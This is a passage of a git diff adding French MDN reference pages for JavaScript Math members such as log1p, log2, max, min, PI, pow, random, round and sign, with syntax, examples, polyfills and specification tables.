Il est possible d'avoir un résultat approximatif avec la fonction suivante :

+ +
Math.log10 = Math.log10 || function(x) {
+  return Math.log(x) * Math.LOG10E;
+};
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-math.log10', 'Math.log10')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.log10', 'Math.log10')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.log10")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.exp()")}}
    • +
  • {{jsxref("Math.log()")}}
    • +
  • {{jsxref("Math.log1p()")}}
    • +
  • {{jsxref("Math.log2()")}}
    • +
  • {{jsxref("Math.pow()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/log10e/index.html b/files/fr/web/javascript/reference/global_objects/math/log10e/index.html new file mode 100644 index 0000000000..7ea27eefbc --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/log10e/index.html @@ -0,0 +1,83 @@ +--- +title: Math.LOG10E +slug: Web/JavaScript/Reference/Objets_globaux/Math/LOG10E +tags: + - JavaScript + - Math + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG10E +--- +
{{JSRef}}
+ +

La propriété Math.LOG10E fournit la valeur du logarithme en base 10 de e, environ 0.434 :

+ +

Math.LOG10E=log10(e)≈0.434\mathtt{\mi{Math.LOG10E}} = \log_10(e) \approx 0.434

+ +
{{EmbedInteractiveExample("pages/js/math-log10e.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

LOG10E étant une propriété statique de Math, elle doit toujours être utilisée avec la syntaxe Math.LOG10E et ne pas être appelée comme propriété d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.LOG10E

+ +

La fonction suivante renvoie le logarithme en base 10 de e :

+ +
function getLog10e() {
+   return Math.LOG10E;
+}
+
+getLog10e(); // 0.4342944819032518
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.5', 'Math.LOG10E')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.log10e', 'Math.LOG10E')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.log10e', 'Math.LOG10E')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.LOG10E")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.exp()")}}
    • +
  • {{jsxref("Math.log()")}}
    • +
  • {{jsxref("Math.log10()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/log1p/index.html b/files/fr/web/javascript/reference/global_objects/math/log1p/index.html new file mode 100644 index 0000000000..b209a76043 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/log1p/index.html @@ -0,0 +1,99 @@ +--- +title: Math.log1p() +slug: Web/JavaScript/Reference/Objets_globaux/Math/log1p +tags: + - ECMAScript 2015 + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/log1p +--- +
{{JSRef}}
+ +

La fonction Math.log1p() renvoie le logarithme népérien (en base {{jsxref("Math/E","e")}}) d'un nombre +1, donné par la formule :

+ +

∀x>-1,Math.log1p(x)=ln(1+x)\forall x > -1, \mathtt{\operatorname{Math.log1p}(x)} = \ln(1 + x)

+ +
{{EmbedInteractiveExample("pages/js/math-log1p.html")}}
+ + + +

Syntaxe

+ +
Math.log1p(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

La valeur du logarithme naturel de 1 plus l'argument (log(1 + x)). Si l'argument est inférieur à -1, {{jsxref("NaN")}} est renvoyée.

+ +

Description

+ +

Si x est strictement inférieur à -1, la valeur renvoyée est {{jsxref("NaN")}}.

+ +

log1p étant une méthode statique de Math, il faut utiliser Math.log1p() et non pas la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemple

+ +

Utiliser Math.log1p()

+ +
Math.log1p(1);  // 0.6931471805599453
+Math.log1p(0);  // 0
+Math.log1p(-1); // -Infinity
+Math.log1p(-2); // NaN
+
+ +

Prothèse d'émulation (polyfill)

+ +

Si cette fonction n'est pas disponible, elle peut être définie grâce au code suivant :

+ +
Math.log1p = Math.log1p || function(x) {
+  return Math.log(1 + x);
+};
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-math.log1p', 'Math.log1p')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.log1p', 'Math.log1p')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.log1p")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.exp()")}}
    • +
  • {{jsxref("Math.log()")}}
    • +
  • {{jsxref("Math.log10()")}}
    • +
  • {{jsxref("Math.log2()")}}
    • +
  • {{jsxref("Math.pow()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/log2/index.html b/files/fr/web/javascript/reference/global_objects/math/log2/index.html new file mode 100644 index 0000000000..0b11603a85 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/log2/index.html @@ -0,0 +1,92 @@ +--- +title: Math.log2() +slug: Web/JavaScript/Reference/Objets_globaux/Math/log2 +tags: + - ECMAScript 2015 + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/log2 +--- +
{{JSRef}}
+ +

La fonction Math.log2() renvoie le logarithme en base 2 d'un nombre :

+ +

∀x>0,Math.log2(x)=log2(x)=l'unique ytel que2y=x\forall x > 0, \mathtt{\operatorname{Math.log2}(x)} = \log_2(x) = \text{the unique} \; y \; \text{such that} \; 2^y = x

+ +
{{EmbedInteractiveExample("pages/js/math-log2.html")}}
+ + + +

Syntaxe

+ +
Math.log2(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

Le logarithme en base 2 du nombre passé en argument. Si ce nombre est négatif, c'est {{jsxref("NaN")}} qui sera renvoyé.

+ +

Description

+ +

Si x est strictement inférieur à 0, la valeur renvoyée sera {{jsxref("NaN")}}.

+ +

log2() étant une méthode statique de Math, il faut utiliser Math.log2() et non pas la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur). Si on souhaite utiliser des constantes, on pourra employer {{jsxref("Math.LOG2E")}} ou {{jsxref("Math.LN2")}}.

+ +

Exemples

+ +

Utiliser Math.log2()

+ +
Math.log2(3);    // 1.584962500721156
+Math.log2(2);    // 1
+Math.log2(1);    // 0
+Math.log2(0);    // -Infinity
+Math.log2(-2);   // NaN
+Math.log2(1024); // 10
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-math.log2', 'Math.log2')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.log2', 'Math.log2')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.log2")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.exp()")}}
    • +
  • {{jsxref("Math.log()")}}
    • +
  • {{jsxref("Math.log10()")}}
    • +
  • {{jsxref("Math.log1p()")}}
    • +
  • {{jsxref("Math.pow()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/log2e/index.html b/files/fr/web/javascript/reference/global_objects/math/log2e/index.html new file mode 100644 index 0000000000..dffc8423da --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/log2e/index.html @@ -0,0 +1,83 @@ +--- +title: Math.LOG2E +slug: Web/JavaScript/Reference/Objets_globaux/Math/LOG2E +tags: + - JavaScript + - Math + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG2E +--- +
{{JSRef}}
+ +

La propriété Math.LOG2E représente la valeur du logarithme en base 2 de e, environ 1.442 :

+ +

Math.LOG2E=log2(e)≈1.442\mathtt{\mi{Math.LOG2E}} = \log_2(e) \approx 1.442

+ +
{{EmbedInteractiveExample("pages/js/math-log2e.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

LOG2E est une propriété statique de l'objet Math et doit toujours être utilisé avec la syntaxe Math.LOG2E plutôt que comme la propriété d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.LOG2E

+ +

La fonction suivante renvoie la valeur du logarithme en base 2 de e :

+ +
function getLog2e() {
+   return Math.LOG2E;
+}
+
+getLog2e(); // 1.4426950408889634
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.4', 'Math.LOG2E')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.log2e', 'Math.LOG2E')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.log2e', 'Math.LOG2E')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.LOG2E")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.exp()")}}
    • +
  • {{jsxref("Math.log()")}}
    • +
  • {{jsxref("Math.log2()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/max/index.html b/files/fr/web/javascript/reference/global_objects/math/max/index.html new file mode 100644 index 0000000000..1964058b9b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/max/index.html @@ -0,0 +1,115 @@ +--- +title: Math.max() +slug: Web/JavaScript/Reference/Objets_globaux/Math/max +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/max +--- +
{{JSRef}}
+ +

La fonction Math.max() renvoie le plus grand nombre d'une série de 0 ou plusieurs nombres.

+ +
{{EmbedInteractiveExample("pages/js/math-max.html")}}
+ + + +

Syntaxe

+ +
Math.max([valeur1[,valeur2, ...]])
+ +

Paramètres

+ +
+
valeur1, valeur2, ...
+
Des nombres.
+
+ +

Valeur de retour

+ +

Le plus grand des nombres passés en arguments. S'il existe un des arguments qui ne peut pas être converti en nombre, c'est {{jsxref("NaN")}} qui sera renvoyé.

+ +

Description

+ +

max() est une méthode statique de Math et doit toujours être utilisée avec la syntaxe Math.max(), elle ne doit pas être appelée comme la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Si aucun argument n'est fourni, le résultat sera -{{jsxref("Infinity")}}.

+ +

Si au moins un des arguments ne peut pas être converti en un nombre, le résultat sera {{jsxref("NaN")}}.

+ +

Exemple

+ +

Utiliser Math.max()

+ +
Math.max(10, 20);   //  20
+Math.max(-10, -20); // -10
+Math.max(-10, 20);  //  20
+
+ +

Obtenir l'élément maximum d'un tableau

+ +

La méthode {{jsxref("Array.prototype.reduce()")}} peut être utilisée pour déterminer la valeur maximale d'un tableau de nombre en comparant les valeurs qui se suivent :

+ +
var arr = [1, 2, 3];
+var max = arr.reduce(function(a,b) {
+  return Math.max(a, b);
+});
+ +

On peut également utiliser {{jsxref("Function.prototype.apply()")}} afin de trouver le maximum parmi un tableau de nombres. getMaxTableau([1,2,3]) sera équivalent à Math.max(1, 2, 3), mais getMaxTableau pourra être utilisé sur des tableaux de n'importe quelle taille.

+ +
function getMaxTableau(tableauNumérique) {
+    return Math.max.apply(null, tableauNumérique);
+}
+ +

Avec le nouvel {{jsxref("Opérateurs/Affecter_par_décomposition","opérateur de décomposition","","1")}}, on pourra également utiliser cette syntaxe, plus concise et plus simple :

+ +
var arr = [1, 2, 3];
+var max = Math.max(...arr);
+ +

Attention avec la décomposition et apply() qui pourront échouer s'il y a trop d'éléments dans le tableau (car ceux-ci seront passés en arguments). Pour plus d'informations, consulter Utiliser apply() et les fonctions natives. La méthode proposée avec reduce() n'a pas cette contrainte.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.11', 'Math.max')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.max', 'Math.max')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.max', 'Math.max')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.max")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.min()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/min/index.html b/files/fr/web/javascript/reference/global_objects/math/min/index.html new file mode 100644 index 0000000000..321548364d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/min/index.html @@ -0,0 +1,111 @@ +--- +title: Math.min() +slug: Web/JavaScript/Reference/Objets_globaux/Math/min +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/min +--- +
{{JSRef}}
+ +

La fonction Math.min() renvoie le plus petit nombre d'une série de 0 ou plusieurs nombres ou bien {{jsxref("NaN")}} si au moins un des arguments fourni n'est pas un nombre ou ne peut pas être converti en nombre.

+ +
{{EmbedInteractiveExample("pages/js/math-min.html")}}
+ + + +

Syntaxe

+ +
Math.min([valeur1[,valeur2, ...]])
+ +

Paramètres

+ +
+
valeur1, valeur2, ...
+
Des nombres.
+
+ +

Valeur de retour

+ +

Le plus petit des nombres passés en arguments. S'il existe un argument qui ne peut pas être converti en nombre, c'est {{jsxref("NaN")}} qui sera renvoyé. Le résultat sera {{jsxref("Infinity")}} si aucun paramètre n'est fourni.

+ +

Description

+ +

min() est une méthode statique de Math, elle doit toujours être utilisée avec la syntaxe Math.min() et ne doit pas être utilisée comme la méthode d'un objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Si aucun argument n'est fourni, le résultat renvoyé par la fonction sera {{jsxref("Infinity")}}.

+ +

Si au moins un des arguments ne peut pas être converti en un nombre, le résultat sera {{jsxref("NaN")}}.

+ +

Exemples

+ +

Utiliser Math.min()

+ +

Dans cet exemple, on trouve le minimum de x et y et on affecte cette valeur à z :

+ +
var x = 10, y = -20;
+var z = Math.min(x, y);
+
+ +

Ramener une valeur dans un intervalle (clipping) avec Math.min()

+ +

Math.min() est souvent utilisée afin de ramener une certaine valeur dans un intervalle donné. Par exemple :

+ +
var x = f(toto);
+
+if (x > limite) {
+  x = limite;
+}
+
+ +

peut s'écrire

+ +
var x = Math.min(f(toto), limite);
+ +
{{jsxref("Math.max()")}} peut être utilisée de façon semblable pour ramener une valeur vers un minimum d'un intervalle donné.
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.12', 'Math.min')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.min', 'Math.min')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.min', 'Math.min')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.min")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.max()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/pi/index.html b/files/fr/web/javascript/reference/global_objects/math/pi/index.html new file mode 100644 index 0000000000..1afe5afc3a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/pi/index.html @@ -0,0 +1,81 @@ +--- +title: Math.PI +slug: Web/JavaScript/Reference/Objets_globaux/Math/PI +tags: + - JavaScript + - Math + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/PI +--- +
{{JSRef}}
+ +

La propriété Math.PI représente le ratio entre le périmètre d'un cercle et son diamètre. Elle vaut environ 3.14159:

+ +

Math.PI=π≈3.14159\mathtt{\mi{Math.PI}} = \pi \approx 3.14159

+ +
{{EmbedInteractiveExample("pages/js/math-pi.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

PI est une propriété statique de l'objet Math et doit toujours être utilisée avec la syntaxe Math.PI plutôt que d'être appelée comme la propriété d'un autre objet qui aurait été crée (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.PI

+ +

La fonction suivante utilise Math.PI afin de calculer le périmètre d'un cercle à partir du rayon passé en argument.

+ +
function calculPérimètre(rayon) {
+  return 2 * Math.PI * rayon;
+}
+
+calculPérimètre(1);  // 6.283185307179586
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.6', 'Math.PI')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.pi', 'Math.PI')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.pi', 'Math.PI')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.PI")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/pow/index.html b/files/fr/web/javascript/reference/global_objects/math/pow/index.html new file mode 100644 index 0000000000..c7d08031b1 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/pow/index.html @@ -0,0 +1,106 @@ +--- +title: Math.pow() +slug: Web/JavaScript/Reference/Objets_globaux/Math/pow +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/pow +--- +
{{JSRef}}
+ +

La fonction Math.pow() renvoie un nombre à une certaine puissance, c'est-à-dire baseexposant.

+ +
{{EmbedInteractiveExample("pages/js/math-pow.html")}}
+ + + +

Syntaxe

+ +
Math.pow(base, exposant);
+ +

Paramètres

+ +
+
base
+
Le nombre correspondant à la base.
+
exponent
+
L'exposant auquel on élève le paramètre précédent.
+
+ +

Valeur de retour

+ +

Un nombre qui représente un nombre (premier argument) élevé à une puissance donné (second argument).

+ +

Description

+ +

pow() est une méthode statique de Math et doit toujours être utilisée avec la syntaxe Math.pow(), elle ne doit pas être utilisée comme une méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemple

+ +

Utiliser Math.pow()

+ +
// Utilisation simple
+Math.pow(7, 2); // 49
+
+// Exposants négatifs
+Math.pow(7, -2); // 0.02040816326530612 (1/49)
+
+// Exposants fractionnaires
+Math.pow(2, 1/2); // 1.4142135623730951 (racine carrée de 2)
+
+// Cas aux limites
+Math.pow(-7, 0.5); // NaN
+// (les nombres négatifs n'ont pas de racine carrée)
+Math.pow(-7, 1/3); // NaN
+// Nombre négatif avec une base décimale
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.13', 'Math.pow')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-math.pow', 'Math.pow')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-math.pow', 'Math.pow')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.pow")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.cbrt()")}}
    • +
  • {{jsxref("Math.exp()")}}
    • +
  • {{jsxref("Math.log()")}}
    • +
  • {{jsxref("Math.sqrt()")}}
    • +
  • Opérateur d'exponentiation {{experimental_inline}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/random/index.html b/files/fr/web/javascript/reference/global_objects/math/random/index.html new file mode 100644 index 0000000000..880f6ee69e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/random/index.html @@ -0,0 +1,114 @@ +--- +title: Math.random() +slug: Web/JavaScript/Reference/Objets_globaux/Math/random +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/random +--- +
{{JSRef}}
+ +

La fonction Math.random() renvoie un nombre flottant pseudo-aléatoire compris dans l'intervalle [0, 1[ (ce qui signifie que 0 est compris dans l'intervalle mais que 1 en est exclu) selon une distribution approximativement uniforme sur cet intervalle. Ce nombre peut ensuite être multiplié afin de couvrir un autre intervalle. La graine (seed) du générateur est choisie par l'algorithme et ne peut pas être choisie ou réinitialisée par l'utilisateur.

+ +
{{EmbedInteractiveExample("pages/js/math-random.html")}}
+ +
+

Note : Math.random() ne fournit pas de nombres aléatoires propres à une cryptographie sécurisée. Les résultats de cette méthode ne doivent pas être utilisées dans des applications liées à la sécurité. À la place, on préfèrera utiliser l'API Web Crypto et plus précisément la méthode {{domxref("RandomSource.getRandomValues()", "window.crypto.getRandomValues()")}}.

+
+ +

Syntaxe

+ +
Math.random()
+ +

Valeur de retour

+ +

Un nombre flottant pseudo-aléatoire, généré entre 0 (inclus) et 1 (exclu)

+ +

Exemples

+ +

En JavaScript, les nombres sont représentés comme des nombres flottants selon la norme IEEE 754 et les arrondis sont pris aux plus près. Aussi, les intervalles revendiqués par les fonctions ci-après (en dehors de Math.random()) ne sont pas théoriquement et précisément exacts. Si on utilise des bornes supérieures très grande (253 ou plus), il est alors possible, dans de très rares cas, d'obtenir la borne supérieure comme résultat alors que celle-ci devrait être exclue de l'intervalle.

+ +

Obtenir un nombre aléatoire entre 0 et 1

+ +
// On renvoie un nombre aléatoire entre 0 (inclus) et 1 (exclus)
+function getRandom() {
+  return Math.random();
+}
+ +

Obtenir un nombre aléatoire dans un intervalle

+ +
// On renvoie un nombre aléatoire entre une valeur min (incluse)
+// et une valeur max (exclue)
+function getRandomArbitrary(min, max) {
+  return Math.random() * (max - min) + min;
+}
+ +

Obtenir un entier aléatoire dans un intervalle ouvert à droite

+ +
// On renvoie un entier aléatoire entre une valeur min (incluse)
+// et une valeur max (exclue).
+// Attention : si on utilisait Math.round(), on aurait une distribution
+// non uniforme !
+function getRandomInt(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min)) + min;
+}
+
+ +
+

Attention ! Utiliser Math.round() entraînerait une distribution non-uniforme et réduirait le caractère aléatoire de la méthode.

+
+ +

Obtenir un entier aléatoire dans un intervalle fermé

+ +
// On renvoie un entier aléatoire entre une valeur min (incluse)
+// et une valeur max (incluse).
+// Attention : si on utilisait Math.round(), on aurait une distribution
+// non uniforme !
+function getRandomIntInclusive(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min +1)) + min;
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0 (UNIX) et 1.1 (toutes plateformes).
{{SpecName('ES5.1', '#sec-15.8.2.14', 'Math.random')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-math.random', 'Math.random')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-math.random', 'Math.random')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.random")}}

diff --git a/files/fr/web/javascript/reference/global_objects/math/round/index.html b/files/fr/web/javascript/reference/global_objects/math/round/index.html new file mode 100644 index 0000000000..981e6cb665 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/round/index.html @@ -0,0 +1,97 @@ +--- +title: Math.round() +slug: Web/JavaScript/Reference/Objets_globaux/Math/round +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/round +--- +
{{JSRef}}
+ +

La fonction Math.round() retourne la valeur d'un nombre arrondi à l'entier le plus proche.

+ +
{{EmbedInteractiveExample("pages/js/math-round.html")}}
+ + + +

Syntaxe

+ +
Math.round(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

La valeur de l'entier le plus proche du nombre passé en argument.

+ +

Description

+ +

Si la partie décimale du nombre est plus grande que 0.5, l'argument est arrondi à l'entier le plus proche dont la valeur absolue est plus grande. Si elle est plus petite que 0.5, l'argument est arrondi à l'entier le plus proche dont la valeur absolue est plus petite. Si la partie décimale du nombre vaut exactement 0.5, l'argument est arrondi à l'entier le plus proche en direction de l'infini positif (attention, pour la plupart des langages de programmation, c'est le nombre avec la plus grande valeur absolue qui est renvoyé ; on a donc une différence de comportement pour les nombres négatifs dont la partie décimale vaut exactement 0.5).

+ +

round() étant une méthode statique de Math, elle doit toujours être utilisée avec la syntaxe Math.round(), elle ne doit pas être utilisée comme une méthode d'un objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +
Math.round(20.49); //  20
+Math.round(20.5);  //  21
+Math.round(42);    //  42
+Math.round(-20.5); // -20
+Math.round(-20.51);// -21
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.15', 'Math.round')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-math.round', 'Math.round')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-math.round', 'Math.round')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.round")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.toPrecision()")}}
    • +
  • {{jsxref("Number.toFixed()")}}
    • +
  • {{jsxref("Math.abs()")}}
    • +
  • {{jsxref("Math.ceil()")}}
    • +
  • {{jsxref("Math.floor()")}}
    • +
  • {{jsxref("Math.sign()")}}
    • +
  • {{jsxref("Math.trunc()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/sign/index.html b/files/fr/web/javascript/reference/global_objects/math/sign/index.html new file mode 100644 index 0000000000..8a1c941e66 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/sign/index.html @@ -0,0 +1,92 @@ +--- +title: Math.sign() +slug: Web/JavaScript/Reference/Objets_globaux/Math/sign +tags: + - ECMAScript 2015 + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/sign +--- +
{{JSRef}}
+ +

La fonction Math.sign() renvoie le signe d'un nombre et permet de savoir si un nombre est positif, négatif ou nul.

+ +
{{EmbedInteractiveExample("pages/js/math-sign.html")}}
+ + + +

Syntaxe

+ +
Math.sign(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

Un nombre qui représente le signe de l'argument. Si l'argument est un nombre positif, négatif, un zéro positif ou un zéro négatif, la fonction renverra respectivement 1, -1, 0, -0. Sinon, ce sera {{jsxref("NaN")}} qui sera renvoyé.

+ +

Description

+ +

sign() étant une méthode statique de Math, il faut utiliser Math.sign() et non pas la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Cette fonction peut renvoyer 5 valeurs : 1, -1, 0, -0, NaN, qui indiquent respectivement que x est un nombre positif, un nombre négatif, zéro, la limite négative de zéro, et n'est pas un nombre pour {{jsxref("NaN")}}.

+ +

L'argument passé à cette fonction sera implicitement converti au type number.

+ +

Exemples

+ +
Math.sign(3)     //  1
+Math.sign(-3)    // -1
+Math.sign("-3")  // -1
+Math.sign(0)     //  0
+Math.sign(-0)    // -0
+Math.sign(NaN)   // NaN
+Math.sign("foo") // NaN
+Math.sign()      // NaN
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.sign', 'Math.sign')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.sign', 'Math.sign')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.sign")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.abs()")}}
    • +
  • {{jsxref("Math.ceil()")}}
    • +
  • {{jsxref("Math.floor()")}}
    • +
  • {{jsxref("Math.round()")}}
    • +
  • {{jsxref("Math.trunc()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/sin/index.html b/files/fr/web/javascript/reference/global_objects/math/sin/index.html new file mode 100644 index 0000000000..c9ea4850ac --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/sin/index.html @@ -0,0 +1,94 @@ +--- +title: Math.sin() +slug: Web/JavaScript/Reference/Objets_globaux/Math/sin +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/sin +--- +
{{JSRef}}
+ +

La fonction Math.sin() renvoie le sinus d'un nombre.

+ +
{{EmbedInteractiveExample("pages/js/math-sin.html")}}
+ + + +

Syntaxe

+ +
Math.sin(x)
+ +

Paramètres

+ +
+
x
+
